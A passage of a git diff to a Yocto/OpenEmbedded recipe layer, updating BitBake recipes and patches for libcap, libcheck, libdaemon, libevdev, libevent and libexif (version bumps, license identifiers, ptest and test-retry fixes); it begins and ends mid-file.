+DEPENDS = "hostperl-runtime-native gperf-native"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/libs/security/linux-privs/${BPN}2/${BPN}-${PV}.tar.xz \
+ file://0001-ensure-the-XATTR_NAME_CAPS-is-defined-when-it-is-use.patch \
+ file://0002-tests-do-not-run-target-executables.patch \
+ "
+SRC_URI:append:class-nativesdk = " \
+ file://0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch \
+ "
+SRC_URI[sha256sum] = "f311f8f3dad84699d0566d1d6f7ec943a9298b28f714cae3c931dfd57492d7eb"
+
+UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/linux/libs/security/linux-privs/${BPN}2/"
+
+inherit lib_package
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+PACKAGECONFIG:class-native ??= ""
+
+PACKAGECONFIG[pam] = "PAM_CAP=yes,PAM_CAP=no,libpam"
+
+EXTRA_OEMAKE = " \
+ INDENT= \
+ lib='${baselib}' \
+ RAISE_SETFCAP=no \
+ DYNAMIC=yes \
+ USE_GPERF=yes \
+"
+
+EXTRA_OEMAKE:append:class-target = " SYSTEM_HEADERS=${STAGING_INCDIR}"
+
+do_compile() {
+ unset CFLAGS BUILD_CFLAGS
+ oe_runmake \
+ ${PACKAGECONFIG_CONFARGS} \
+ AR="${AR}" \
+ CC="${CC}" \
+ RANLIB="${RANLIB}" \
+ OBJCOPY="${OBJCOPY}" \
+ COPTS="${CFLAGS}" \
+ BUILD_COPTS="${BUILD_CFLAGS}"
+}
+
+do_install() {
+ oe_runmake install \
+ ${PACKAGECONFIG_CONFARGS} \
+ DESTDIR="${D}" \
+ prefix="${prefix}" \
+ SBINDIR="${sbindir}"
+}
+
+do_install:append() {
+ # Move the library to base_libdir
+ install -d ${D}${base_libdir}
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mv ${D}${libdir}/libcap* ${D}${base_libdir}
+ if [ -d ${D}${libdir}/security ]; then
+ mv ${D}${libdir}/security ${D}${base_libdir}
+ fi
+ fi
+}
+
+FILES:${PN}-dev += "${base_libdir}/*.so"
+
+# pam files
+FILES:${PN} += "${base_libdir}/security/*.so"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcheck/libcheck/automake-output.patch b/meta/recipes-support/libcheck/libcheck/automake-output.patch
new file mode 100644
index 0000000000..c860f0cc0f
--- /dev/null
+++ b/meta/recipes-support/libcheck/libcheck/automake-output.patch
@@ -0,0 +1,82 @@
+Add optional output in automake style, for integration with ptest.
+Export CK_AUTOMAKE=1 when running a test suite and you'll get
+PASS/FAIL lines on standard output.
+
+Marking this as Inappropriate right now as it's a little rough on the
+edges. Filed https://github.com/libcheck/check/issues/349 to discuss
+with upstream.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/src/check_log.c b/src/check_log.c
+index 0844661..ad23c65 100644
+--- a/src/check_log.c
++++ b/src/check_log.c
+@@ -26,6 +26,7 @@
+ #if ENABLE_SUBUNIT
+ #include <subunit/child.h>
+ #endif
++#include <libgen.h>
+
+ #include "check_error.h"
+ #include "check_list.h"
+@@ -381,6 +382,34 @@ void tap_lfun(SRunner * sr CK_ATTRIBUTE_UNUSED, FILE * file,
+ }
+ }
+
++void am_lfun(SRunner * sr CK_ATTRIBUTE_UNUSED, FILE * file,
++ enum print_output printmode CK_ATTRIBUTE_UNUSED, void *obj,
++ enum cl_event evt)
++{
++ TestResult *tr;
++ const char* types[] = { "INVALID", "PASS", "FAIL", "ERROR"};
++
++ switch (evt)
++ {
++ case CLINITLOG_SR:
++ case CLENDLOG_SR:
++ case CLSTART_SR:
++ case CLSTART_S:
++ case CLEND_SR:
++ case CLEND_S:
++ case CLSTART_T:
++ break;
++ case CLEND_T:
++ tr = (TestResult *)obj;
++ fprintf(file, "%s: %s:%s:%s %s\n",
++ types[tr->rtype], basename(tr->file), tr->tcname, tr->tname, tr->msg);
++ fflush(file);
++ break;
++ default:
++ eprintf("Bad event type received in am_lfun", __FILE__, __LINE__);
++ }
++}
++
+ #if ENABLE_SUBUNIT
+ void subunit_lfun(SRunner * sr, FILE * file, enum print_output printmode,
+ void *obj, enum cl_event evt)
+@@ -527,6 +556,9 @@ void srunner_init_logging(SRunner * sr, enum print_output print_mode)
+ {
+ srunner_register_lfun(sr, f, f != stdout, tap_lfun, print_mode);
+ }
++ if (getenv("CK_AUTOMAKE"))
++ srunner_register_lfun(sr, stdout, 0, am_lfun, print_mode);
++
+ srunner_send_evt(sr, NULL, CLINITLOG_SR);
+ }
+
+diff --git a/src/check_log.h b/src/check_log.h
+index 7223b98..bfe1de3 100644
+--- a/src/check_log.h
++++ b/src/check_log.h
+@@ -40,6 +40,9 @@ void xml_lfun(SRunner * sr, FILE * file, enum print_output,
+ void tap_lfun(SRunner * sr, FILE * file, enum print_output,
+ void *obj, enum cl_event evt);
+
++void am_lfun(SRunner * sr, FILE * file, enum print_output,
++ void *obj, enum cl_event evt);
++
+ void subunit_lfun(SRunner * sr, FILE * file, enum print_output,
+ void *obj, enum cl_event evt);
+
diff --git a/meta/recipes-support/libcheck/libcheck_0.15.0.bb b/meta/recipes-support/libcheck/libcheck_0.15.0.bb
deleted file mode 100644
index 177c0edc8f..0000000000
--- a/meta/recipes-support/libcheck/libcheck_0.15.0.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Check - unit testing framework for C code"
-HOMEPAGE = "https://libcheck.github.io/check/"
-SECTION = "devel"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-SRC_URI = "https://github.com/${BPN}/check/releases/download/${PV}/check-${PV}.tar.gz \
- file://not-echo-compiler-info-to-check_stdint.h.patch"
-SRC_URI[sha256sum] = "aea2e3c68fa6e1e92378e744b1c0db350ccda4b6bd0d19530d0ae185b3d1ac60"
-UPSTREAM_CHECK_URI = "https://github.com/libcheck/check/releases/"
-
-S = "${WORKDIR}/check-${PV}"
-
-inherit autotools pkgconfig texinfo
-
-CACHED_CONFIGUREVARS += "ac_cv_path_AWK_PATH=${bindir}/gawk"
-
-RREPLACES_${PN} = "check (<= 0.9.5)"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGES =+ "checkmk"
-
-FILES_checkmk = "${bindir}/checkmk"
-
-RDEPENDS_checkmk = "gawk"
-
diff --git a/meta/recipes-support/libcheck/libcheck_0.15.2.bb b/meta/recipes-support/libcheck/libcheck_0.15.2.bb
new file mode 100644
index 0000000000..5ab67b8728
--- /dev/null
+++ b/meta/recipes-support/libcheck/libcheck_0.15.2.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Check - unit testing framework for C code"
+DESCRIPTION = "It features a simple interface for defining unit tests, \
+putting little in the way of the developer. Tests are run in a separate \
+address space, so both assertion failures and code errors that cause \
+segmentation faults or other signals can be caught. Test results are \
+reportable in the following: Subunit, TAP, XML, and a generic logging format."
+HOMEPAGE = "https://libcheck.github.io/check/"
+SECTION = "devel"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=2d5025d4aa3495befef8f17206a5b0a1"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/check-${PV}.tar.gz \
+ file://automake-output.patch \
+ file://not-echo-compiler-info-to-check_stdint.h.patch"
+SRC_URI[sha256sum] = "a8de4e0bacfb4d76dd1c618ded263523b53b85d92a146d8835eb1a52932fa20a"
+GITHUB_BASE_URI = "https://github.com/libcheck/check/releases/"
+
+S = "${WORKDIR}/check-${PV}"
+
+inherit autotools pkgconfig texinfo github-releases
+
+CACHED_CONFIGUREVARS += "ac_cv_path_AWK_PATH=${bindir}/gawk"
+
+RREPLACES:${PN} = "check (<= 0.9.5)"
+
+do_install:append:class-native() {
+ create_cmdline_shebang_wrapper ${D}${bindir}/checkmk
+}
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGES =+ "checkmk"
+
+FILES:checkmk = "${bindir}/checkmk"
+
+RDEPENDS:checkmk = "gawk"
diff --git a/meta/recipes-support/libcroco/libcroco_0.6.13.bb b/meta/recipes-support/libcroco/libcroco_0.6.13.bb
deleted file mode 100644
index 9171a9de5c..0000000000
--- a/meta/recipes-support/libcroco/libcroco_0.6.13.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Cascading Style Sheet (CSS) parsing and manipulation toolkit"
-HOMEPAGE = "http://www.gnome.org/"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-
-LICENSE = "LGPLv2 & LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605 \
- file://src/cr-rgb.c;endline=22;md5=31d5f0944d556c8589d04ea6055fcc66 \
- file://tests/cr-test-utils.c;endline=21;md5=2382c27934cae1d3792fcb17a6142c4e"
-
-SECTION = "x11/utils"
-DEPENDS = "glib-2.0 libxml2 zlib"
-BBCLASSEXTEND = "native nativesdk"
-EXTRA_OECONF += "--enable-Bsymbolic=auto"
-
-BINCONFIG = "${bindir}/croco-0.6-config"
-
-inherit gnomebase gtk-doc binconfig-disabled
-
-SRC_URI[archive.md5sum] = "c80c5a8385011a0260dce6bd0da93dce"
-SRC_URI[archive.sha256sum] = "767ec234ae7aa684695b3a735548224888132e063f92db585759b422570621d4"
diff --git a/meta/recipes-support/libdaemon/libdaemon_0.14.bb b/meta/recipes-support/libdaemon/libdaemon_0.14.bb
index 070ee1890e..089f19d1cd 100644
--- a/meta/recipes-support/libdaemon/libdaemon_0.14.bb
+++ b/meta/recipes-support/libdaemon/libdaemon_0.14.bb
@@ -1,8 +1,11 @@
SUMMARY = "Lightweight C library which eases the writing of UNIX daemons"
+DESCRIPTION = "Lightweight daemon framework for OpenBSD. It provides \
+facilities for logging and a signal handler to enable graceful shutdown, \
+as well as file locking to ensure that only a single copy of a given daemon \
+is running at a time."
SECTION = "libs"
-AUTHOR = "Lennart Poettering <lennart@poettering.net>"
HOMEPAGE = "http://0pointer.de/lennart/projects/libdaemon/"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1 \
file://libdaemon/daemon.h;beginline=9;endline=21;md5=bd9fbe57cd96d1a5848a8ba12d9a6bf4"
diff --git a/meta/recipes-support/libevdev/libevdev/determinism.patch b/meta/recipes-support/libevdev/libevdev/determinism.patch
deleted file mode 100644
index f6b7fc82d3..0000000000
--- a/meta/recipes-support/libevdev/libevdev/determinism.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 4f196323aba5b0f49979826533c65633b8a9b6a2 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Fri, 7 Feb 2020 12:29:56 +0000
-Subject: [PATCH] libevdev: Fix determinism issue
-
-The order of dict values is not deterministic leading to differing header file generation.
-Sort to remove this inconsistency.
-
-RP 2020/2/7
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-Upstream-Status: Pending
-
----
- libevdev/make-event-names.py | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/libevdev/make-event-names.py b/libevdev/make-event-names.py
-index 88addd7..c973e2a 100755
---- a/libevdev/make-event-names.py
-+++ b/libevdev/make-event-names.py
-@@ -70,10 +70,10 @@ def print_bits(bits, prefix):
- if not hasattr(bits, prefix):
- return
- print("static const char * const %s_map[%s_MAX + 1] = {" % (prefix, prefix.upper()))
-- for val, name in list(getattr(bits, prefix).items()):
-+ for val, name in sorted(list(getattr(bits, prefix).items())):
- print(" [%s] = \"%s\"," % (name, name))
- if prefix == "key":
-- for val, name in list(getattr(bits, "btn").items()):
-+ for val, name in sorted(list(getattr(bits, "btn").items())):
- print(" [%s] = \"%s\"," % (name, name))
- print("};")
- print("")
-@@ -118,7 +118,7 @@ def print_lookup(bits, prefix):
- if not hasattr(bits, prefix):
- return
-
-- names = list(getattr(bits, prefix).items())
-+ names = sorted(list(getattr(bits, prefix).items()))
- if prefix == "btn":
- names = names + btn_additional
-
diff --git a/meta/recipes-support/libevdev/libevdev_1.13.1.bb b/meta/recipes-support/libevdev/libevdev_1.13.1.bb
new file mode 100644
index 0000000000..85cfd78507
--- /dev/null
+++ b/meta/recipes-support/libevdev/libevdev_1.13.1.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Wrapper library for evdev devices"
+DESCRIPTION = "A library for handling evdev kernel devices. It abstracts \
+the evdev ioctls through type-safe interfaces and provides functions \
+to change the appearance of the device."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libevdev/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=80c550b3197bcb8da7d7557ebcc3fc46 \
+ "
+
+SRC_URI = "http://www.freedesktop.org/software/libevdev/${BP}.tar.xz"
+SRC_URI[sha256sum] = "06a77bf2ac5c993305882bc1641017f5bec1592d6d1b64787bad492ab34f2f36"
+
+inherit autotools pkgconfig
+
+UPSTREAM_CHECK_REGEX = "libevdev-(?P<pver>(\d+\.)+(?!90\d+)\d+)"
diff --git a/meta/recipes-support/libevdev/libevdev_1.9.1.bb b/meta/recipes-support/libevdev/libevdev_1.9.1.bb
deleted file mode 100644
index 633e0af995..0000000000
--- a/meta/recipes-support/libevdev/libevdev_1.9.1.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-SUMMARY = "Wrapper library for evdev devices"
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libevdev/"
-SECTION = "libs"
-
-LICENSE = "MIT-X"
-LIC_FILES_CHKSUM = "file://COPYING;md5=75aae0d38feea6fda97ca381cb9132eb \
- file://libevdev/libevdev.h;endline=21;md5=7ff4f0b5113252c2f1a828e0bbad98d1"
-
-SRC_URI = "http://www.freedesktop.org/software/libevdev/${BP}.tar.xz \
- file://determinism.patch"
-SRC_URI[md5sum] = "58286a834ae14536caf9cab8633419cf"
-SRC_URI[sha256sum] = "f5603c48c5afd76b14df7a5124e0a94a102f8da0d45826192325069d1bbc7acb"
-
-inherit autotools pkgconfig
-
-UPSTREAM_CHECK_REGEX = "libevdev-(?P<pver>(\d+\.)+(?!90\d+)\d+)"
diff --git a/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch b/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch
new file mode 100644
index 0000000000..0b20eda3c0
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch
@@ -0,0 +1,33 @@
+From dff8fd27edb23bc1486809186c6a4fe1f75f2179 Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Thu, 22 Apr 2021 22:35:59 -0400
+Subject: [PATCH] test/regress.h: Increase default timeval tolerance 50 ms ->
+ 100 ms
+
+The default timeout tolerance is 50 ms,
+which causes intermittent failure in many the
+related tests in arm64 QEMU.
+
+See: https://bugzilla.yoctoproject.org/show_bug.cgi?id=14163
+(The root cause seems to be a heavy load)
+
+Upstream-Status: Submitted [https://github.com/libevent/libevent/pull/1157]
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+---
+ test/regress.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/test/regress.h b/test/regress.h
+index f06a7669..829af4a7 100644
+--- a/test/regress.h
++++ b/test/regress.h
+@@ -127,7 +127,7 @@ int test_ai_eq_(const struct evutil_addrinfo *ai, const char *sockaddr_port,
+ tt_int_op(labs(timeval_msec_diff((tv1), (tv2)) - diff), <=, tolerance)
+
+ #define test_timeval_diff_eq(tv1, tv2, diff) \
+- test_timeval_diff_leq((tv1), (tv2), (diff), 50)
++ test_timeval_diff_leq((tv1), (tv2), (diff), 100)
+
+ long timeval_msec_diff(const struct timeval *start, const struct timeval *end);
+
diff --git a/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch b/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch
new file mode 100644
index 0000000000..ddc19c495f
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch
@@ -0,0 +1,28 @@
+From d01a57a998798da977c470f3b8d6a457c1adb144 Mon Sep 17 00:00:00 2001
+From: Azat Khuzhin <azat@libevent.org>
+Date: Sun, 19 Sep 2021 00:57:31 +0300
+Subject: [PATCH] test: mark util/monotonic_prc_fallback as retriable
+
+Refs: #1193
+
+Upstream-Status: Backport
+---
+ test/regress_util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/test/regress_util.c b/test/regress_util.c
+index 45caa2700a40..a9e80db20149 100644
+--- a/test/regress_util.c
++++ b/test/regress_util.c
+@@ -1672,7 +1672,7 @@ struct testcase_t util_testcases[] = {
+ { "monotonic_res_fallback", test_evutil_monotonic_res, TT_OFF_BY_DEFAULT, &basic_setup, (void*)"fallback" },
+ { "monotonic_prc", test_evutil_monotonic_prc, 0, &basic_setup, (void*)"" },
+ { "monotonic_prc_precise", test_evutil_monotonic_prc, TT_RETRIABLE, &basic_setup, (void*)"precise" },
+- { "monotonic_prc_fallback", test_evutil_monotonic_prc, 0, &basic_setup, (void*)"fallback" },
++ { "monotonic_prc_fallback", test_evutil_monotonic_prc, TT_RETRIABLE, &basic_setup, (void*)"fallback" },
+ { "date_rfc1123", test_evutil_date_rfc1123, 0, NULL, NULL },
+ { "evutil_v4addr_is_local", test_evutil_v4addr_is_local, 0, NULL, NULL },
+ { "evutil_v6addr_is_local", test_evutil_v6addr_is_local, 0, NULL, NULL },
+--
+2.31.1
+
diff --git a/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch b/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch
new file mode 100644
index 0000000000..26b707ad31
--- /dev/null
+++ b/meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch
@@ -0,0 +1,81 @@
+From 36ebd92fa53c0097f1e2f9ec5aa5b5c6ec1b411d Mon Sep 17 00:00:00 2001
+From: Thomas Perrot <thomas.perrot@bootlin.com>
+Date: Wed, 29 Sep 2021 13:50:35 +0200
+Subject: [PATCH] test: retriable tests are marked failed only when all
+ attempts have failed
+
+Fixes: #1193
+
+Upstream-Status: Backport [https://github.com/libevent/libevent/commit/3daebf308a01b4b2d3fb867be3d6631f7b5a2dbb]
+
+Signed-off-by: Thomas Perrot <thomas.perrot@bootlin.com>
+---
+ test/tinytest.c | 13 ++++++-------
+ test/tinytest.h | 2 +-
+ 2 files changed, 7 insertions(+), 8 deletions(-)
+
+diff --git a/test/tinytest.c b/test/tinytest.c
+index 85dfe74a720e..bf2882418eb6 100644
+--- a/test/tinytest.c
++++ b/test/tinytest.c
+@@ -310,7 +310,8 @@ testcase_run_forked_(const struct testgroup_t *group,
+
+ int
+ testcase_run_one(const struct testgroup_t *group,
+- const struct testcase_t *testcase)
++ const struct testcase_t *testcase,
++ const int test_attempts)
+ {
+ enum outcome outcome;
+
+@@ -348,7 +349,7 @@ testcase_run_one(const struct testgroup_t *group,
+ if (opt_verbosity>0 && !opt_forked)
+ puts("SKIPPED");
+ } else {
+- if (!opt_forked)
++ if (!opt_forked && (testcase->flags & TT_RETRIABLE) && !test_attempts)
+ printf("\n [%s FAILED]\n", testcase->name);
+ }
+
+@@ -525,22 +526,20 @@ tinytest_main(int c, const char **v, struct testgroup_t *groups)
+ struct testgroup_t *group = &groups[i];
+ for (j = 0; group->cases[j].name; ++j) {
+ struct testcase_t *testcase = &group->cases[j];
+- int test_attempts = 3;
++ int test_attempts = (testcase->flags & TT_RETRIABLE) ? 3: 1;
+ int test_ret_err;
+
+ if (!(testcase->flags & TT_ENABLED_))
+ continue;
+
+ for (;;) {
+- test_ret_err = testcase_run_one(group, testcase);
++ test_ret_err = testcase_run_one(group, testcase, test_attempts);
+
+ if (test_ret_err == OK)
+ break;
+- if (!(testcase->flags & TT_RETRIABLE))
++ if (!--test_attempts)
+ break;
+ printf("\n [RETRYING %s (%i)]\n", testcase->name, test_attempts);
+- if (!test_attempts--)
+- break;
+ }
+
+ switch (test_ret_err) {
+diff --git a/test/tinytest.h b/test/tinytest.h
+index d321dd467542..c276b5339331 100644
+--- a/test/tinytest.h
++++ b/test/tinytest.h
+@@ -92,7 +92,7 @@ char *tinytest_format_hex_(const void *, unsigned long);
+ tinytest_set_flag_(groups, named, 1, TT_SKIP)
+
+ /** Run a single testcase in a single group. */
+-int testcase_run_one(const struct testgroup_t *,const struct testcase_t *);
++int testcase_run_one(const struct testgroup_t *,const struct testcase_t *, const int test_attempts);
+
+ void tinytest_set_aliases(const struct testlist_alias_t *aliases);
+
+--
+2.31.1
+
diff --git a/meta/recipes-support/libevent/libevent/run-ptest b/meta/recipes-support/libevent/libevent/run-ptest
index d3b5e793c3..ef4260d1c4 100644
--- a/meta/recipes-support/libevent/libevent/run-ptest
+++ b/meta/recipes-support/libevent/libevent/run-ptest
@@ -1,14 +1,14 @@
#!/bin/sh
# run-ptest - 'ptest' test infrastructure shell script that
-# wraps the libevent test scripts
+# wraps the libevent test scripts
#
# Trevor Gamblin <trevor.gamblin@windriver.com>
###############################################################
LIBEVENTLIB=@libdir@/libevent
LOG="${LIBEVENTLIB}/ptest/libevent_ptest_$(date +%Y%m%d-%H%M%S).log"
-cd ${LIBEVENTLIB}/ptest
+cd ${LIBEVENTLIB}/ptest
# Run only the libevent "regress" test. All other test scripts in the
# libevent "test" folder are related to performance, e.g. read/write
@@ -16,9 +16,9 @@ cd ${LIBEVENTLIB}/ptest
# in the ptest log.
./test/regress 2>&1| sed -e '/TESTS/d' -e '/tests/d' -e '/OK/ s/^/PASS: / ; /FAILED/ s/^/FAIL: / ; /SKIPPED/ s/^/SKIP: / ; /DISABLED/ s/^/SKIP: /' | cut -f1,2 -d ':' | tee -a ${LOG}
-passed=`grep PASS ${LOG}|wc -l`
-failed=`grep FAIL ${LOG}|wc -l`
-skipped=`grep -E SKIP ${LOG}|wc -l`
+passed=`grep PASS: ${LOG}|wc -l`
+failed=`grep FAIL: ${LOG}|wc -l`
+skipped=`grep -E SKIP: ${LOG}|wc -l`
all=$((passed + failed + skipped))
( echo "=== Test Summary ==="
diff --git a/meta/recipes-support/libevent/libevent_2.1.12.bb b/meta/recipes-support/libevent/libevent_2.1.12.bb
index 29e87081d3..25388fb4d7 100644
--- a/meta/recipes-support/libevent/libevent_2.1.12.bb
+++ b/meta/recipes-support/libevent/libevent_2.1.12.bb
@@ -1,27 +1,34 @@
SUMMARY = "An asynchronous event notification library"
+DESCRIPTION = "A software library that provides asynchronous event \
+notification. The libevent API provides a mechanism to execute a callback \
+function when a specific event occurs on a file descriptor or after a \
+timeout has been reached. libevent also supports callbacks triggered \
+by signals and regular timeouts"
HOMEPAGE = "http://libevent.org/"
BUGTRACKER = "https://github.com/libevent/libevent/issues"
SECTION = "libs"
-LICENSE = "BSD & MIT"
+LICENSE = "BSD-3-Clause & MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=17f20574c0b154d12236d5fbe964f549"
-SRC_URI = "https://github.com/libevent/libevent/releases/download/release-${PV}-stable/${BP}-stable.tar.gz \
+SRC_URI = "${GITHUB_BASE_URI}/download/release-${PV}-stable/${BP}-stable.tar.gz \
file://Makefile-missing-test-dir.patch \
file://run-ptest \
file://0001-test-regress_dns.c-patch-out-tests-that-require-a-wo.patch \
+ file://0002-test-regress.h-Increase-default-timeval-tolerance-50.patch \
+ file://0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch \
+ file://0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch \
"
SRC_URI[sha256sum] = "92e6de1be9ec176428fd2367677e61ceffc2ee1cb119035037a27d346b0403bb"
-
-UPSTREAM_CHECK_URI = "http://libevent.org/"
+UPSTREAM_CHECK_REGEX = "releases/tag/release-(?P<pver>.+)-stable"
S = "${WORKDIR}/${BPN}-${PV}-stable"
PACKAGECONFIG ??= ""
PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-inherit autotools
+inherit autotools github-releases
# Needed for Debian packaging
LEAD_SONAME = "libevent-2.1.so"
@@ -34,11 +41,11 @@ PACKAGES_DYNAMIC = "^${PN}-.*$"
python split_libevent_libs () {
do_split_packages(d, '${libdir}', r'^libevent_([a-z]*)-.*\.so\..*', '${PN}-%s', '${SUMMARY} (%s)', prepend=True, allow_links=True)
}
-PACKAGESPLITFUNCS_prepend = "split_libevent_libs "
+PACKAGESPLITFUNCS =+ "split_libevent_libs"
BBCLASSEXTEND = "native nativesdk"
-do_install_append() {
+do_install:append() {
rm ${D}${bindir}/event_rpcgen.py
rmdir ${D}${bindir}
oe_multilib_header event2/event-config.h
@@ -50,7 +57,7 @@ do_install_ptest() {
do
install -m 0755 $file ${D}${PTEST_PATH}/test
done
-
+
# handle multilib
sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
}
diff --git a/meta/recipes-support/libexif/libexif/0001-Add-serial-tests-config-needed-by-ptest.patch b/meta/recipes-support/libexif/libexif/0001-Add-serial-tests-config-needed-by-ptest.patch
new file mode 100644
index 0000000000..505aa07330
--- /dev/null
+++ b/meta/recipes-support/libexif/libexif/0001-Add-serial-tests-config-needed-by-ptest.patch
@@ -0,0 +1,26 @@
+From 1ee7217c8ae724d793f9a9876c3608057a2ccbf8 Mon Sep 17 00:00:00 2001
+From: Julien Stephan <jstephan@baylibre.com>
+Date: Tue, 11 Jul 2023 16:07:54 +0200
+Subject: [PATCH] Add serial-tests config needed by ptest
+
+Add serial-tests support, ptest needs it.
+
+Upstream-Status: Inappropriate [oe specific]
+
+Signed-off-by: Julien Stephan <jstephan@baylibre.com>
+---
+ configure.ac | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/configure.ac b/configure.ac
+index cd48047..5413907 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -16,6 +16,7 @@ AM_INIT_AUTOMAKE([
+ dist-zip
+ check-news
+ subdir-objects
++ serial-tests
+ ])
+ AM_MAINTAINER_MODE
+
diff --git a/meta/recipes-support/libexif/libexif/run-ptest b/meta/recipes-support/libexif/libexif/run-ptest
new file mode 100644
index 0000000000..2d23159eb0
--- /dev/null
+++ b/meta/recipes-support/libexif/libexif/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+make -o Makefile runtest-TESTS
diff --git a/meta/recipes-support/libexif/libexif_0.6.22.bb b/meta/recipes-support/libexif/libexif_0.6.22.bb
deleted file mode 100644
index 2478ba07d8..0000000000
--- a/meta/recipes-support/libexif/libexif_0.6.22.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Library for reading extended image information (EXIF) from JPEG files"
-HOMEPAGE = "https://libexif.github.io/"
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=243b725d71bb5df4a1e5920b344b86ad"
-
-def version_underscore(v):
- return "_".join(v.split("."))
-
-SRC_URI = "https://github.com/libexif/libexif/releases/download/libexif-${@version_underscore("${PV}")}-release/libexif-${PV}.tar.xz \
- "
-
-SRC_URI[sha256sum] = "5048f1c8fc509cc636c2f97f4b40c293338b6041a5652082d5ee2cf54b530c56"
-
-UPSTREAM_CHECK_URI = "https://github.com/libexif/libexif/releases/"
-
-inherit autotools gettext
-
-EXTRA_OECONF += "--disable-docs"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libexif/libexif_0.6.24.bb b/meta/recipes-support/libexif/libexif_0.6.24.bb
new file mode 100644
index 0000000000..b407ee52de
--- /dev/null
+++ b/meta/recipes-support/libexif/libexif_0.6.24.bb
@@ -0,0 +1,47 @@
+SUMMARY = "Library for reading extended image information (EXIF) from JPEG files"
+DESCRIPTION = "libexif is a library for parsing, editing, and saving EXIF data. It is \
+intended to replace lots of redundant implementations in command-line \
+utilities and programs with GUIs."
+HOMEPAGE = "https://libexif.github.io/"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=243b725d71bb5df4a1e5920b344b86ad"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/libexif-${PV}.tar.bz2 \
+ file://0001-Add-serial-tests-config-needed-by-ptest.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "d47564c433b733d83b6704c70477e0a4067811d184ec565258ac563d8223f6ae"
+
+inherit autotools gettext github-releases ptest
+
+EXTRA_OECONF += "--disable-docs"
+
+do_compile_ptest() {
+ oe_runmake -C test buildtest-TESTS
+}
+
+do_install_ptest() {
+ install ${B}/test/test*[!\.o] ${D}${PTEST_PATH}
+ for f in ${D}${PTEST_PATH}/test*; do
+ sed -i "s/\(LD_LIBRARY_PATH=\).*\(:\$LD_LIBRARY_PATH\)\"/\1.\2/" $f
+ done
+
+ install ${B}/test/Makefile ${D}${PTEST_PATH}
+ sed -i -e "/^srcdir/c srcdir = \$\{PWD\}" ${D}${PTEST_PATH}/Makefile
+
+ install -d ${D}${PTEST_PATH}/nls
+ install ${B}/test/nls/*[!\.o] ${D}${PTEST_PATH}/nls
+ install -d ${D}${PTEST_PATH}/.libs
+ install ${B}/test/.libs/* ${D}${PTEST_PATH}/.libs
+
+ install ${S}/test/*.sh ${D}${PTEST_PATH}
+
